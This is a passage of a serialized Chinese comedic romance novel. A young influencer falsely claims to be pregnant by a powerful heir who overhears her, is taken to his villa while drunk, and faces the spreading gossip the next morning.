她抬手揉了揉眉心,记忆到现在都还没回笼,看了看周围,装修奢侈豪华的包厢,房间沙发上坐着的都是些有钱的二代,有男有女,此刻都在盯着她看,有的是在嘲讽,有的实在不屑,也有的直接当她是乐子。 有点天崩开场的感觉。 “你发什么愣?不会到现在还等着黎云笙来救你吧?你真当自己攀附上他了?你不会不知道黎云笙这么多年都不近女色吧,如果不是你这女人装模做样假扮成男人挤到韩城身边顺水推舟的认识了黎云笙,你还真当他们能瞧得上你?” “他们已经知道你是女人了,韩城倒也算了,但黎云笙对你……呵,不封杀你都是他宽宏大量。” 为首的男人目光阴鸷恶狠狠的盯着她。 温栩栩脑子有点乱哄哄的,但此刻像是意识到什么,好像猛然之间被塞进了很多记忆。 她叫温栩栩,无父无母孤儿院长大,十八岁就开始混生活,现在是一个粉丝几十万的小网红,拍过几部短剧,一直想往娱乐圈挤但又不想被潜规则出卖身体,于是故意化妆成男性买通了一些人在韩城醉酒后贴上去亲自开车送他回家从而加上了这位少爷的联系方式,因为长得实在好看,韩城又是个颜控所以没少喊她出来一起玩乐,本打算跟韩城真的混熟后告诉他自己是女人,结果没等自己主动解释,就被韩城对家知道了这事儿,这群人跟韩城不对付但又惹不起韩城,直接就把温栩栩抓过来教训。 没曾想温栩栩直接开口说自己扒上黎云笙了。 扒上韩城和扒上黎云笙那是不一样的概念。 韩城是韩家二少爷,上面还有个哥哥韩越,这么些年都吃喝玩乐跟个纨绔一样,黎云笙就不一样了,出生就是指定的继承人,现在就已经开始缓慢接手家业。 这样对上有些人就慌了。 但黎云笙不近女色,甚至有点厌恶女性,所以才有了刚才那一出,温栩栩被泼酒嘲讽的一幕。 温栩栩内心嘶了一声。 真要命啊。 “温栩栩,你不吱声在那边胡思乱想什么呢?”为首的男人跟韩城不对付,此刻就盯着温栩栩怎么看怎么不顺眼,见她不吱声更恼火,打算让人教训她,结果下一秒温栩栩就捂住了她的肚子。 现场众人:“?” 温栩栩没看到现场的人表情突然从卧槽她有病吧变成了惊恐和慌张。 她还在那里演。 “我就是攀附上黎少了,我爬上他的床还有了他的孩子,你们敢碰我真不怕我吹枕边风?” “就算黎少真的看不上我,可我现在是他的女人还怀了他的孩子……你们也知道黎少是最护短的。” 说完温栩栩就有点得意的抬高了下巴,狐假虎威的模样。 现场众人:“……” 为首的男人唇角抽了又抽。 “你爬上了谁的床?”温栩栩听见有人问她爬了谁的床,她心慌但这会儿就是要拼演技,瞪圆眼睛:“当然是黎云笙的!” 温栩栩又听见对方问:“怀了谁的孩子。” “你这人是不是脑子有问题,我都说了我爬的是黎云笙的床了当然怀了他的孩子……” 温栩栩皱眉转头,然后对上一张冰冷俊美的面容。 温栩栩察觉到有点不对,这人好像长得有点眼熟。 “你谁?一直问我这问题……你怎么不去问黎云笙,就看我好欺负吗?”温栩栩想到自己此刻在狐假虎威,压根也没想那么多,开口胡说八道。 现场其它人更加惊恐了。 站在门口的俊美男人盯着她看了几眼,然后吐出冰冷的三个字。 “黎云笙。” 包厢内彻底静下来了。 温栩栩整个人都傻了。 此刻满脑子都是“黎云笙”三个大字。 那男人是黎云笙,那她刚才都说了什么?跟他睡了?怀了他的孩子?事实……却是她只远远见过黎云笙几面啊!脸都没看清那种! 温栩栩脚底抹油想溜,男人掀起眼皮瞥她一眼,淡淡道:“带走。” 话落,他身后的保镖一拥而上将她制住。 包厢内为首的男人嘴里骂了句“靠!温栩栩你刚才就是在骗人是不是!你压根就没跟黎少睡啊!” 温栩栩抬头就瞪他:“谁骗你了!我们就是睡了!你知道我们黎少什么性癖吗!你知道他那事儿多闹腾吗!我这是受不来跑出来所以被他逮到了!你什么都不知道你叭叭什么!你叭叭我怎么不见你叭叭他!没看见他只抓我不抓你吗!那是因为我是他的金丝雀小娇妻!” 包厢众人:“……” 啊? 是这么回事儿吗? 第938章 二代圈子都玩这么变态 “你有本事问我有本事问他啊!你看他好意思说他喜欢什么吗!” “他那事儿我都不好意思说,你敢问吗!” 温栩栩口出狂言,一盆盆黄水全泼黎云笙脸上了。 温栩栩也觉得奇怪,不知道为什么看到黎云笙就觉得这人城会玩儿,她说的准没错!这绝对不是诬陷造谣。 包厢内又静了。 为首的男人又被怼哑巴了。 他敢叭叭温栩栩那是因为温栩栩就是一个小网红,但叭叭黎云笙,他算什么东西啊! 而且他能叭叭什么?上去问黎少您是不是性癖奇怪?是不是喜欢玩乱七八糟的? 要死啊! 谁敢啊! 包厢众人沉默不语,但目光缓缓转移到黎云笙脸上。 黎云笙:“……” 他眼皮很轻微的挑了下,抬手:“带走。” 黎云笙都带温栩栩走人了,包厢内众人才终于开始叽叽喳喳讨论。 “温栩栩绝对是在撒谎,没看黎少脸都黑了吗?” “废话!说你床上玩的变态你高兴啊!” “那不是黎少爷没反驳吗!” “这事儿你怎么反驳啊!换你你也没办法反驳啊!” “所以温栩栩到底是不是黎少的人啊!” 包厢内吵到现在静了一瞬。 “是吧……要不黎少怎么只抓温栩栩不抓我们呢?” “有道理。” “对,就是这么回事儿!” 为首的纨绔二世祖抬手一拍脑门儿。 妈的,一群脑残完蛋玩意儿! “你们这都什么脑子,温栩栩在狐假虎威没看到吗!故意借了黎少的势!你们这群蠢货,真要继承家业还不把家底儿败光!”为首的于海洋骂骂咧咧。 “虽然……但是……我们不本来就是你家族废物吗?上头都有大哥要继承家业的,敢争夺家产会被搞死的啊。” “对啊对啊!” 一群人又开始叽叽喳喳。 于海洋觉得更完蛋了。 …… 黎云笙让保镖压着人到了顶层天字号包厢外就接到了韩城的电话,才接通对面就嚷嚷:“人呢!接到栩栩了没!” 黎云笙神色寡淡的扫了一眼面前这位给自己扣了一顶变态黄色帽子的女人,淡淡的嗯了一声,保镖已经打开门。 瞬间就听到韩城的大嗓门了。 “你就在门口你还接什么电话啊!直接进来说!” 韩城挂了电话。 包厢内除了韩城还有黎云笙的好友盛景炎、韩城的哥哥韩越,以及此刻蹦跶最欢的韩城。 “不是?我让你接人你怎么还让保镖押回来了?怎么个事儿?你欺负我们栩栩妹妹?”韩城还挺着急直接冲过来了。 不怪温栩栩能直接认出来,实在是这人太虎了。 几人进了房间,韩城还在那里跟温栩栩嘀嘀咕咕小声说黎云笙不是东西。 黎云笙:“打扰一下,我听得见。” 韩城:“……你事儿真的好多啊,那你说你干嘛押着栩栩!” 盛景炎和韩越互看一眼似乎也有点兴趣。 “哦。”黎云笙给自己倒了杯茶水喝了口道:“怕她跑了。” “你当你押送犯人呢!”韩城听他这调调就来气。 “她说怀了我的孩子,我打算带她去医院做个检查,以免一个不小心没看住孩子没了多可惜。” “噗——” 韩越没忍住才喝进嘴的茶水喷出来了,好在是喷到了地上。 盛景炎唇角狠抽了下,有点跟不上黎云笙此刻的节奏。 韩城则是满头黑线,看看黎云笙又看看温栩栩。 “不是?” “啊?” “你们什么时候背着我搞上的!” “黎云笙你要不要脸了!你把我朋友搞怀孕了!” “你是狗吗!” 韩城在这里为温栩栩出气,温栩栩头皮发麻,只觉得如芒在背。 救命,怎么感觉比在刚刚那包厢还难熬啊! “没搞上,见了几面她就怀了。”黎云笙淡淡道:“我也想见识一下医学奇迹,是怎么无接触怀孕的。” 温栩栩:“……” 嘴真毒啊。 “……”韩城懵了下:“真能无接触怀孕啊?” 韩越觉得头疼:“你觉得呢?” “那不是黎云笙说的栩栩无接触怀孕了吗?”韩城反驳。 盛景炎:“……” 行吧,这智商也确实不好接受韩家家业了。 几人目光都落到温栩栩身上,除了黎云笙,其它人的眼神都有点古怪。 韩越是好奇,盛景炎是戏谑,韩城是……是纯盯着温栩栩的肚子似乎在思考人怎么能无接触靠眼神怀孕。 “你……”韩城皱眉看着温栩栩。 韩越以为弟弟终于想明白的时候,韩城指着温栩栩道:“你该不会是个兔子变得所以假孕反应吧!” “啪”韩越筷子直接砸韩城脸上了。 “哥你砸我干什么!”韩城无能狂怒。 “你觉得你脸很大吗?能不能省着点丢!都跟你说了少看点脑残剧脑残,你偏不听!哪儿来的兔子精啊!”韩越忍无可忍。 “温栩栩不就是吗!”韩城愤怒。 韩越忍了又忍,忍了好久没有把第二根筷子砸他头上,然后扭头看温栩栩:“温小姐,你是兔子吗。” 他觉得温栩栩开口韩城总能信了。 温栩栩觉得羞耻的低头沉吟:“我……是……狐狸?” 韩城:“啊?狐狸也有假孕这一说吗?” 韩越都不想看他了,实在丢人。 盛景炎轻咳一声解释:“温小姐的意思大概是今晚她借阿笙的势,她说的狐狸大概是狐假虎威里面这个狐狸。” 韩城听了还有那么点失落。 “哦,没怀啊,真是的……我还以为是什么灵异短剧呢,原来就是传统总裁啊。” 温栩栩也很想开口让韩城少看点脑残剧了。 温栩栩只能勉强的笑了下。 黎云笙淡淡抬眉看她一眼。 “温小姐知道你今晚说的这些明天传出去后会变成什么样吗。”黎云笙问她。 这温栩栩还真不知道,毕竟没混过二代圈子,哪能想到二代圈子都怎么传这些。 “韩城你来说。”这次黎云笙给了韩城机会。 韩城又来兴致了。 “他们会说阿笙早就包养了你,你俩孩子都已经遍地跑了还在上演他追她逃他囚禁的剧本,他们眼里阿笙就是个喜欢玩变态游戏的古早霸总大佬,栩栩你就是反抗命运的小白花带球跑女主角!明天就会有人说你给阿笙生了个天才宝宝,会说八国语言精通金融黑客等等技术……” 温栩栩:“?” 不是? 你们二代圈子都玩这么变态的吗? 第939章 想到他都会是黄色话题 “他们真的会这么传?”温栩栩听韩城说这些都觉得浑身刺挠,太离谱。 盛景炎很给面子回了句:“只会更过分。” “可是……带球跑还精通八国语言天才宝宝那怎么也要六七岁了吧!黎少现在才二十岁,他总不能十二岁就跟我搞到一起让我怀孕吧……”温栩栩干巴巴解释。 韩越微笑:“有哦。” 温栩栩:“?” 有什么? “有十二岁就让女孩子怀孕的败类哦,圈内真有哦。”韩越就怕她听不懂,还放慢语速说的。 温栩栩都要觉得这世界实在是太癫了,癫到十二岁让人怀孕……离谱到一定程度。 温栩栩有些尴尬的扯了扯唇,目光缓缓落到黎云笙身上,然后僵硬的笑了下:“黎少……真的?” 黎云笙没看她,似乎是并没打算理她,兀自倒了杯茶水,片刻后才回应:“韩城,你不是要问她性别,还用问吗。” 说到这里,他撩起眼皮道:“她都能怀我的孩子了,还能是男人?” 是的,韩城差点就忘记自己被温栩栩哄骗的有多惨了。 最开始就是想问温栩栩到底是男是女才约她来这里见面,结果人还没等到就听这边的经理说温栩栩人被于海洋那狗东西带走了。 他刚才玩游戏呢不能溜,刚巧黎云笙才进酒店就让黎云笙出面了。 结果黎云笙才把人接过来就给了他哥爆炸性新闻说温栩栩怀了他的孩子。 这么一闹腾正事儿都忘了。 “温栩栩,你真是女孩子?” 都这会儿了韩城还问呢。 温栩栩唇角抽了下,委实觉得这位被忽悠的不轻。 “如假包换。” 韩城一拍脑门:“我跟一妹妹称兄道弟,我打游戏还不如栩栩打的好,靠,我真的是菜狗了。” 最后关注的点在这里。 温栩栩见他这反应忍不住问:“你不生气?” 韩城毫不在意坐在椅子上敲碧根果。 “我生什么气?你有不骗钱不骗色还陪着我这菜狗玩游戏唱歌的,我找陪玩还多少钱呢,还不如你哄我高兴,你跟我玩得来我管你是男是女呢。” 说到这里韩城兴致来了,笑眯眯道:“哎!我发现了!我对别的女人没兴趣但我觉得你好玩儿,要不你干脆跟我一块儿算了!” 完全就是想一出是一出,觉得温栩栩有意思好玩才搞这个。 不等韩越砸他,黎云笙就语气淡漠的拒绝:“不可以,她肚子里面还有我的孩子。” “你跟他在一起,明天整个圈子都要传你跟我抢女人喜当爹。”黎云笙解释的直白且不留情面。 温栩栩:“……” 这人一时不知道是真这么觉得,还是纯粹记仇小肚鸡肠。 温栩栩瞪他,黎云笙却没看她。 其实他自己都不清楚,为什么韩城说要娶温栩栩的时候自己心会乱,好像有人在他耳边说,温栩栩是他的,不该是韩城的。 他恍惚间觉得自己大抵是有点魔怔了。 韩城不知道这个,还在包厢里面浪呢,浪到最后被醉醺醺的趴在酒桌上,韩越满脸嫌弃,却还是不得不管这浪弟弟。 他喝酒,温栩栩也喝酒,两人全都醉成狗。 韩越扶韩城,温栩栩却还趴在桌上,盛景炎轻笑:“不把人扶起来抱走?” 黎云笙冷眼看他:“有保镖。” 盛景炎点头:“嗯,那明天谣传的版本就要变成你的小娇妻跟你的保镖私奔了,或者是……你被戴了绿帽?也可能你是保镖的私奔她和保镖之间的虐恋情深?你喜欢哪个?” 此话一出,包厢内的几位保镖瞬间后退几步。 黎云笙有些烦躁了。 “我可以换女保镖。” “哦,那大概就要传你不行,你的小金丝雀改成喜欢女人了。”盛景炎泼冷水。 没完了? 黎云笙眉头紧皱,直接把快醉死的温栩栩拉拽起来,温栩栩软绵绵的就往他怀里跌,如果不是真的烂醉,他都要怀疑这人是不是碰瓷,不然怎么偏偏用最柔软的胸口撞进来,她撞了人还不够,醉鬼还泪眼婆娑的喊疼,一副被他欺负的模样。 有句脏话,但说不出口。 黎云笙只觉身体都被烫了一下,后背都不由自主的绷紧了,整个人如临大敌。 其实他很排斥其他人的靠近,就是韩城凑过来他都要给人踹到一边去,温栩栩现在浑身酒味儿栽他怀里他却没有心思把人推出去。 有那么一瞬间他自己都怀疑自己是不是有异性没人性。 他没有伸手扶住温栩栩,温栩栩有点委屈的用手抓住了他的手臂才稳住身形没让自己栽下去。 黎云笙只感觉贴在自己怀中的女人身体火热柔软,他有一瞬恍惚,想把人推开,却又条件反射的握住她的手腕,然后手臂箍住她的细腰,因为力气太大似乎让她有些疼的轻哼了一声。 她被这声音躺到了,耳根有点发红。 他以前没有过这种感觉,可这次碰到的女人就好像专门针对他有种别样的吸引力,真的很……奇怪。 他有些控制不住的想贴近。 黎云笙还能感受到温栩栩继续在怀里蹭蹭贴贴,醉鬼胡闹。 韩越在一旁扶着醉鬼韩城,盛景炎则是抱着手臂笑眯眯看戏,他心道温栩栩哪里算是什么狐狸,就算真是狐狸那也是毛都没长齐的狐狸崽子,不像盛景炎,那要是青丘祖宗级别的狐狸大仙。 黎云笙深吸一口气,实在扛不住把人抱起来。 盛景炎还在他一旁笑眯眯道:“第一次抱女人吧,以后肯定终身难忘了。” “你快闭嘴吧。”黎云笙不想理他。 好不容易抱着温栩栩出门进电梯一直到一层,他抱着人走出去,正对上之前为难温栩栩的那群二世祖,打头的就是于海洋。 黎云笙:“……” 不知道为什么总有种不祥的预感。 他根本不想多留,冷冷看那群人一眼便抱着人就走。 走到门口才听到那群纨绔二代叽叽喳喳。 “我就说!温栩栩绝对是黎少的女人吧!” “温栩栩没说错啊!黎少好变态啊!这都把人弄晕了!” 黎云笙:“……” 他可以预想到,因为温栩栩,以后这群圈子里的二代想到他都会是黄色话题了。 第940章 有绳子吗 温栩栩还醉着,根本不知道自己在醉后都干了什么了不得的事,此刻在那人怀里只觉得无比安逸,就好像,自己以前就是总被人这么抱着,她觉得头晕的更厉害了。 抱着的是抱枕呢……好舒服。 想着,便已经贴近蹭了蹭,小猫似的在男人颈边蹭着,倏地也不知道哪根筋不对了,突然张开嘴在他肩上咬了一口,力气还不小。 黎云笙:“……” “啧啧。”盛景炎就一直在看戏,这会儿挑眉看过来,就看到这一幕,笑的眼睛都是弯的。 他没点别的乐趣,就喜欢看兄弟的戏,特别是黎云笙和韩越的,至于韩城,他戏太多了,有时候盛景炎都懒得看。 黎云笙忍了忍才没把怀里咬人的温栩栩丢到地上。 “野猫啊。”盛景炎评价了句:“野猫都不亲人,她还挺亲你。” 黎云笙:“……” 那是亲吗?那是咬! 他一时没控制住,本身手劲儿就大,此刻抱着人时力道都大了几分,温栩栩似乎是觉得疼了,忍不住哼唧出声,又咬人了。 黎云笙深吸一口气,盛景炎还在他身边看戏,那群纨绔二代都已经是目瞪口呆的程度。 再待下去,还指不定咬传出些奇奇怪怪的东西。 黎云笙彻底待不下去了,抱着人上车,只有温栩栩还在哼哼唧唧。 黎云笙走了,盛景炎自认没戏看了,有些无聊也打算走,倒是纨绔二代里面有胆子大的,兴许是觉得盛景炎脾气好,问道:“盛少,温栩栩真怀了黎少的孩子吗?” 盛景炎笑眯眯:“你猜。” 问了跟没问一样。 可不管温栩栩是不是真的怀了黎云笙的孩子,温栩栩也的确是挤进了这几人的圈子里,黎云笙抱着她走也是事实。 现在不怀那不能说明以后也不怀啊。 总之,温栩栩现在已经是他们都招惹不起的人了。 韩城还在那边醉醺醺的,但认出了为首的于海洋,整个人又支棱起来。 “啊!就是你找茬往我哥们身上泼酒是不是!” 于海洋:“……” 你都醉迷糊了还不忘这事儿啊!温栩栩有那么重要吗。 韩越看他撒酒疯,直接让保镖把人弄到车上了,韩城上车才老实了。 温栩栩上了车也没老实下来,温栩栩一钻进车厢,就仿佛一只不安分的猫,整个人软绵绵地往黎云笙身上黏。 她是真的醉了,此刻发丝散乱地垂在黎云笙肩头,发梢扫过他颈侧时,带起一阵细微的痒意。 大概是真的把黎云笙当抱枕了,此刻指尖若有似无地摩挲着他的腰腹,然后抱紧。 司机此刻大气都不敢出,开车的速度都慢下来。 “别乱动。”黎云笙喉结微滚,声音低哑得不像自己。 正常情况下,他应该现在就把温栩栩丢出去。 但现在,对方只是一个醉鬼。 他出口警告,温栩栩非但没停,反而将整个身体的重量压向他,膝盖不经意蹭过他紧绷的大腿。 她醉着甚至歪着头,将鼻尖埋进他西装与衬衫交界的褶皱处,嗅着他身上淡淡的檀木香的气息,大概觉得自己这抱枕好闻,又抱了抱。 黎云笙浑身的血液仿佛被点燃。 他猛地抬手扣住她的手腕,掌心温度烫得惊人。 醉懵懵的温栩栩被这突然的力道惊得眨了眨眼,另一只手攀上他胸膛,她微微仰头,唇瓣几乎要擦过他下巴,呼出的温热气息拂在他耳畔。 有时不是故意的撩拨反而更勾人。 韩城是真的带了个祸害到他们身边。 黎云笙的理智在瞬间溃散。 他再也顾不上什么克制,一把将人摁进座椅深处。 手掌压住她乱动的双膝,拇指却无意识地摩挲着她腕间细腻的皮肤。 两人的身体贴合得没有一丝缝隙,他清晰感受到她胸腔里与他同样急促的起伏,甚至分不清究竟是谁的呼吸更烫。 车内空调的冷气在此刻仿佛失效,唯有温栩栩指尖还在不安分地抠着他衬衫第三颗纽扣。 黎云笙眸色渐深,喉头滚动。 暮色渐沉,城市的霓虹在挡风玻璃上晕开斑驳的光斑。 黎云笙斜倚在黑色商务车的真皮座椅上,指尖无意识地叩击着扶手。 那是他思考时的习惯动作,但现在却是用手握着温栩栩的手腕,防止她再做出什么令人瞠目结舌的举动。 司机透过后视镜瞥了眼后座的黎云笙,少爷还是一如既往穿着考究,剪裁利落的深灰色西装,领口微敞,袖口露出半截腕表,银质表盘在暗处泛着冷光。 但是此刻却有些突兀的握着女人的手腕,司机实在是没见过他这般。 这会儿正是红灯,司机听到黎云笙他开口询问:“车上有绳子吗。” 司机的手在方向盘上顿了顿,有些懵,“好像没有……可通过后视镜瞥见还不老实一拳拳砸到黎云笙身上的温栩栩,司机又卡壳了一瞬问道:“少爷,需要准备上吗?” 尽管认定自己与温栩栩此后大抵不会有交集,但“备而无用”总比“用而无备”来得稳妥。 他收回目光,指尖的叩击节奏渐缓,思绪却如暗潮般翻涌。 其实黎云笙排斥跟其他人发生肢体接触,熟悉的人,例如盛景炎和韩越不会这么直接的凑过来,而不熟悉的人也没胆子凑过来,真的凑过来也会被保镖丢远了。 可温栩栩好像不太一样,因为那群保镖大概也是有点误会了。 事情已经发展到这一步了,好像也只能先把人带回去。 总不好真的丢在外面。 就冲着温栩栩那张脸,真丢出去难免会出事,而且……私心里他好像也并不想把人丢出去。 不知为何,他就是有一种这人本该属于自己的错觉。 车子一直开到黎云笙的在外的私人住处,是帝城中心的高档别墅区。 黎云笙随便挑了个房间把人丢进去就没再管,带她回来已经是极限,不可能管更多。 片刻后又回来,高价聘请了位夜间保姆给她清理沐浴。 没别的想法,只觉得浑身酒味儿,很难闻。 第941章 他俩孩子都出来了 温栩栩头痛欲裂地睁开眼,宿醉的眩晕中,暖金色水晶吊灯在头顶流转碎光。 房间内淡米色丝绸墙面隐现鎏金细纹,全景落地窗外是朦胧景色。 床头醒酒茶冒着热气,细纹药盒旁便签字迹潦草:“醒了先吃药。” 昨夜记忆却如潮水退去,只余零星碎片。 温栩栩绞尽脑汁想了又想,终于想起来自己昨晚都干了什么蠢事,她一时觉得自己头更疼了。 真是完蛋。 昨晚上本打算告诉韩城自己是女人,结果被于海洋那狗东西带走了,对着他吹牛说自己是黎云笙的女人还怀了黎云笙的孩子,特别巧的全程都被黎云笙听到了。 所以现在是什么情况? 这是在哪里?总不能因为胡说八道几句就要杀人灭口吧! 不要啊! 完蛋完蛋,全完蛋! 都怪昨晚喝醉了酒,后续发生什么一概不知。 温栩栩开始敲自己的头了。 死脑,快想啊,昨晚发生什么了啊! 温栩栩在房间内发疯,根本没注意到房间门已经被打开,高大俊美的男人就靠在门边看着她。 别说温栩栩脑子乱,他脑子也有点乱。 大清早就接到舅舅的电话,问他昨晚发生了什么,真有了女朋友和下一代,说什么外面都传开了,黎云笙有了一个貌美如花的小娇妻和私生子,传的有鼻子有眼的,甚至名字都传出来了,叫黎星夜。 要不是黎云笙知道昨晚发生了什么事,他大概都要认为自己现在精神错乱真有个儿子。 黎星夜,还挺好听。 啧,想偏了。 黎云笙抬手敲了下房门:“敲够了吗。” 声音冷淡,还透着点凉薄。 温栩栩敲头的动作都在这一瞬顿住了,整个人跟被钉在原地一样。 温栩栩几乎是慢动作的抬起头,看一眼,吞咽了下口水,然后又看一眼。 要命,没看错,真是黎云笙。 她!怎么就被黎云笙带回来了! 黎云笙看她此刻宛若震惊小猫,那双眼睛瞪圆了还瞧着他看,似乎是有点呆傻,当然不排除是此刻被吓得。 “你知道黎星夜吗。”看她这样,黎云笙也不知道哪里来的恶趣味问了句。 啊? 什么? 黎星夜? 温栩栩整个人更懵了,脑门都好像大写了两个字“那谁?” “据说是我跟你那已经会走路的儿子。”黎云笙嗤笑一声,很好心的为温栩栩解释。 温栩栩明显被噎了一下。 “我没……”她脸都要皱到一起了。 黎云笙淡淡的“嗯”了一声:“托你的福,因为你那几句话,圈子里都在传我跟你有一个孩子。” 温栩栩不吱声了。 这确实是她的锅。 这要换做是一个男人污蔑一个“妙龄”女性,说她们有一个孩子,哇,那岂不是要被骂死。 但现在这人是黎云笙,那群人只会说有钱的二代确实风流,可即便这样黎云笙的好名声也毁了七七八八。 温栩栩觉得如果她是黎云笙,现在大概已经有想灭了自己的冲动。 救命,真的想逃跑。 温栩栩抬头很想尬笑一声然后解释,结果手机响起来,她一看,韩城的电话。 祖宗!终于来电话了!快救救她! 温栩栩赶紧接通电话,本以为韩城会说什么,结果韩城嚷嚷:“温栩栩!你跟云笙有个孩子!不是?你俩什么时候背着我有孩子了!都在传你们有孩子!你俩孩子呢?黎星夜是吧!那必须认我当干爹,这太离谱了,我哥们跟我兄弟有个孩子!你俩真是拿我当岛国人整啊!” 行。 这是又疯一个。 温栩栩觉得自己都开始头疼了。真不是这么回事儿啊! 就几句狐假虎威的话怎么就都当真了。 “我们没有孩子。”温栩栩低着头干巴巴开口。 “不可能,外面都在传呢!” “真没有……哥,你看看我才多大我哪儿来的孩子啊……孩子会说话,那黎少总不能在我未成年的时候就跟我搅合到一起了,犯法啊哥!那会儿我未成年!” 温栩栩解释。 韩城压根不信,嚷嚷:“不可能,外面都在传,有鼻子有眼的,名字都出来了!” 那谁知道哪个混蛋传谣言还起名字啊! “黎云笙个混蛋东西,简直禽兽!” 韩城嚷嚷的嗓门还挺大,黎云笙都能听到了。 他眼皮跳了下,一步步逼近温栩栩,下一秒手机就被夺走了。 温栩栩:“……” “打扰一下,我听得到。”黎云笙淡淡回应。 韩城就跟哑巴了似的半天没说话,好一会儿才又清醒了。 “你是不是跟我哥们在一起还有个孩子,那黎星夜的事儿你必须解释清楚,不然这事儿没完。” 韩城还打算没完没了。 黎云笙淡淡道:“我们的确有个孩子,不过不叫黎星夜。” 温栩栩:“?” 有什么孩子?谁有孩子?她怎么不知道有孩子!这人怎么胡说八道呢? 韩城不知道黎云笙胡说八道,他还特别好奇,黎云笙跟温栩栩的孩子不叫黎星夜叫什么。 “叫什么叫什么!” 黎云笙声音平淡:“叫韩城。” 温栩栩:“……” 韩城:“……艹……” 正当黎云笙觉得韩城想明白什么意思后,韩城怒骂:“你给你儿子起我的名字你几个意思!” 黎云笙:“……” 黎云笙开始头疼了。 跟韩城实在是谈不下去了,黎云笙果断摁灭手机。 韩城还在那边闹腾呢,本来宿醉就头疼,他这会儿还闹上瘾了,折腾来折腾去,还折腾到韩越房间里面嘟囔黎云笙不是人。 韩越问清楚什么情况后看自己弟弟的眼神更加古怪。 就是说……韩家真的没有小时候抱错孩子吗? 韩城的智商真的在韩家平均值下了。 韩城那边怎么闹腾,黎云笙毫不在意,他将手机递给温栩栩,温栩栩干笑一声抢过来塞包里。 “那什么,打扰黎少很久了,没什么事我就先走了……” 温栩栩说完就想开溜。 才开溜,下一秒就被人拽着手臂重新拉回来。 温栩栩憋屈的很,但也知道自己不占理儿。 任谁给自己在外面造这老些黄谣她也生气。 而且黎云笙身份摆在这里,她疯了真要跟人作对,再说了,记忆里面这位黎少也不是那种仗势欺人的人,她觉得这位应该也不会对自己怎么样,昨晚上那情况……她也是没办法嘛。 她现在满脑子都是怎么才能哄了人后赶紧逃走。 黎云笙握着温栩栩的手腕,他甚至觉得自己可能稍一使力都会捏疼她。 第942章 你捏的我稍微有点疼 黎云笙握着温栩栩的手腕,掌心包裹着她细腻的肌肤。 他下意识收紧指尖,却又在瞬间松开。这样的矛盾让他有些微困倦,目光却再一次落在温栩栩身上。 温栩栩垂着眼睫,发丝间散出的茉莉香萦绕在他鼻尖。 黎云笙恍惚了一瞬,此刻竟真的没再用力,仿佛握住的是一捧随时会消散的月光,只能任由指尖在她腕骨处轻轻发颤。 温栩栩突然挣了一下,他松了手,目光却仍然落在她的脸上。 对上男人这样冷淡的目光,温栩栩心尖跟着颤了下。 “黎少……还有别的事?” 黎云笙垂眸看过来,用陈述的语气平静的问她:“不觉得你该说些什么?” 温栩栩眨眨眼:“那个,你捏的我稍微有点疼。” 黎云笙:“……” 这是重点? 黎云笙盯着温栩栩明媚到几乎张扬的面容,然后悄无声息的移开眼:“下次注意。” 还有下次? 温栩栩都被他这话惊了下,实在是忍不住的多想。 人就是会在觉得丢脸的时候做很多无用功的事情,这里动动那里动动,碰碰这里动动那里的,黎云笙已经看到温栩栩将睡衣裙上的衣带解开系上解开系上解开系上。 黎云笙看不下去了。 “温栩栩,你没什么想说的?” 这已经直接问了。 温栩栩又在笑了,就是这笑都带着尴尬的感觉,时不时的抬头瞥向他,眼尾都还带着点红,好像还带着朦胧醉意似的。 “我在思考。” 她斟酌很久说了这么一句话。 “思考了这么久,思考出了什么。”黎云笙友好提问。 “我在思考怎么才能让黎少你不跟我计较留我一条小命呜呜呜……” 她是真委屈,骨气也不要了。 真的换位思考有人这么对自己还传黄谣,杀了那人的心都有啊! 温栩栩现在真的只想赶紧逃跑,不想继续留在这里,她真担心这位爷现在看到自己就会很不爽。 虽然黎云笙不欺凌弱小,但也是杀伐果断冷酷无情这么一个人,惹了他,真的是……不会有什么好下场的。 只要黎云笙真的因为这次的事情不爽,出去说几句,就有数不清的人来替他磋磨她。 她真的不是很想被折腾啊。 温栩栩委屈:“我昨晚也是被那群人逼着进了包厢,那么多人,都在说我攀附上了黎少,我脑子那会儿也转不动了,就想着借一下黎少的势,他们一开始没信,甚至还想动手,我就觉得如果我说自己怀孕了,那群人肯定不敢动我……我真的不是故意的。” 说完,温栩栩还讨好且无害的朝黎云笙笑了下。 黎云笙淡淡道:“我脾气很好吗?” “那倒没有……”温栩栩小声嘟囔。 黎云笙只问了这么句,下一瞬倒是在观察温栩栩,觉得她有那么点惊奇。 “温栩栩,我总觉得你跟以前不太一样,你自己察觉不到?” 不一样?哪里不一样? 温栩栩是半点没感觉,只觉那一大堆记忆像是一瞬间挤到自己脑子里,记忆都是乱嗡嗡的,就只知道这人不好惹了。 “我其实……还跟以前一样……”温栩栩小声回。 黎云笙但笑不语。 跟以前一样?他瞧着是大变样了。 以前的温栩栩见到他都是畏畏缩缩的根本不敢看他,对上他的眼睛都会想要移开,对韩城更是谄媚。 他把韩城当好友,自然是查过这个突然跟韩城关系近的女人是个什么人。 无非是个长得漂亮不像被潜规则最后被封杀的小明星,逼不得已成了小网红,整日在网络开直播跳舞,大概是放不开,所以粉丝一直不多,也就只能说是勉强够温饱。 这次攀上韩城,大抵也是想让韩城捧她,然后借机要一些资源,不会惹出大乱子,所以黎云笙就没管。 哪曾想不会惹出大乱子指的是不会给韩城惹上大乱子,而非不给她惹乱子。 “那个……黎少如果没别的事那我就先走了?” 温栩栩纠结再三还是大着胆子说了这话,她是真不想再待在这里了,跟黎云笙待一起,她都有些想死的冲动。 一是丢人,二是……真的看到他总是控制不住想抱住他。 救命,这想法是她能有的吗。 温栩栩根本笑不出来只想开溜。 黎云笙不咸不淡的瞥她一眼,喉结微微滚动,然后移开视线:“你就穿这个走?” 黎云笙不咸不淡的瞥她一眼,喉结微微滚动,然后移开视线:“你就穿这个走?” 温栩栩懵了下,然后低头看了看自己,这才意识到身上还穿着一件蕾丝睡裙,早上起来她就没注意自己穿什么啊! 昨夜那个保姆似乎误会了她的身份,递来的睡裙薄得像蝉翼,领口缀着的蕾丝花纹蜿蜒至锁骨下方,裙摆堪堪遮住大腿根。 更尴尬的是后背——从黎云笙此刻站的角度望过去,她白皙如羊脂玉的后背几乎毫无遮挡,脊椎沟壑在晨光里泛着珍珠般的光泽,蝴蝶骨随着呼吸微微起伏。 他移开视线时,温栩栩分明看见他耳尖泛起了薄红。 这个向来以冷峻著称的男人,此刻在害羞。 她不自觉攥紧了裙摆,布料下的指尖沁出冷汗——到底是谁给她换的衣服,挑了这么……这么一件。 